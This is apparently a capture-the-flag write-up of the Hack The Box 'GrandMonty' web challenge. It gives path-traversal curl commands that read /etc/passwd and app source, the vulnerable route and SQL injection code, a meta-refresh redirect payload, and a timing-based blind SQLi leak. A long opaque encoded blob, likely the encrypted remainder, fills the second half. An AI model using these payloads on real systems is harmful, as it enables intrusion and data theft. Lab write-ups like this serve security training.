ZanyMonk

HTB - GrandMonty

09 Aug 2024

The challenge is made by Rayhan0x01 & makelaris.

To start, submit the given “encryption ID” to access the chat: 1f81b076-fffc-45cd-b7c3-c686b73aa6af

LFI

The /files/:file endpoint accepts a parameter that gets url-decoded, which allows to traverse directories and read any file on the system, including the app source code:

curl 'http://$TARGET/files/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
curl 'http://$TARGET/files/%2e%2e%2findex.js'

Here is the vulnerable endpoint in routes/index.js:

router.get('/files/:file', async (req, res) => {
	const { file } = req.params;
	return res.sendFile(path.join(__dirname, '/../uploads', file));
});

And the recovered file structure:

├── bot.js
├── database.js
├── index.js
├── package.json
├── helpers
│   ├── DecryptorHelper.js
│   ├── GraphqlHelper.js
│   └── JWTHelper.js
├── middleware
│   ├── AdminMiddleware.js
│   └── PublicMiddleware.js
├── routes
│   └── index.js
├── static
│   └── js
│       ├── admin.js
│       ├── home.js
│       ├── index.js
└── views
    ├── auth.html
    ├── index.html
    └── messages.html

We can even run and test the app locally now:

docker run --rm --name db -p 3306:3306 --rm -d \
  -e MYSQL_USER=monty -e MYSQL_PASSWORD=burns0x01 -e MYSQL_DATABASE=grandmonty \
  mariadb
npm i
node index.js

SQLi

The database.js file includes a fake flag, but indicates that the real one is stored as burns’ password in the MySQL database. Obviously we can’t read the raw database files using the LFI, it would be too easy !

But this file also contains a function called by the RansomChat GraphQL query, that is vulnerable to SQLi, but accessible only from 127.0.0.1:

/* helpers/GraphqlHelper.js */
RansomChat: {
    // ...
    return new Promise((resolve, reject) => {
        if (!isLocal(request)) return reject(new GraphQLError('Only localhost is allowed this query!'));
        db.getRansomChat(enc_id)
        // ...
    });
    // ...
},

/* database.js */
async getRansomChat(enc_id) {
    return new Promise(async (resolve, reject) => {
        let stmt = `SELECT * FROM ransom_chat WHERE enc_id = '${enc_id}'`;
        this.connection.query(stmt, (err, result) => {
            // ...
        })
    });
}

XS-Leak

CSP includes script-src 'self' which makes it possible to get XSS if we can upload a file on the system.

/* index.js */
// almighty bonk
app.use(function (req, res, next) {
    res.setHeader(
        'Content-Security-Policy',
        `default-src 'none'; script-src 'self'; style-src 'self' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'; form-action 'self'; base-uri 'none'; connect-src 'self';`
    );
    next();
});

Unluckily the upload feature is not implemented. The express-fileupload package that’s used could be interesting but it is configured not to write temporary files to disk so it’s useless to us. No upload, no XSS.

But we can still use the good ol’ <meta> trick to redirect the victim to a malicious page we host:

<meta http-equiv="refresh" content="0; url=http://zanymonk.github.io/">

Chromium will disallow the script running on this page to access data from queries to the challenge’s domain, or to its loopback address. This makes it impossible to extract the flag in one go, using an Error-based SQLi for exemple.

However, it can still query these domains, and compute the time it takes to get a response. We’ll exploit the SQLi blindly, and detect an evantual sleep(1) using the Performance API:

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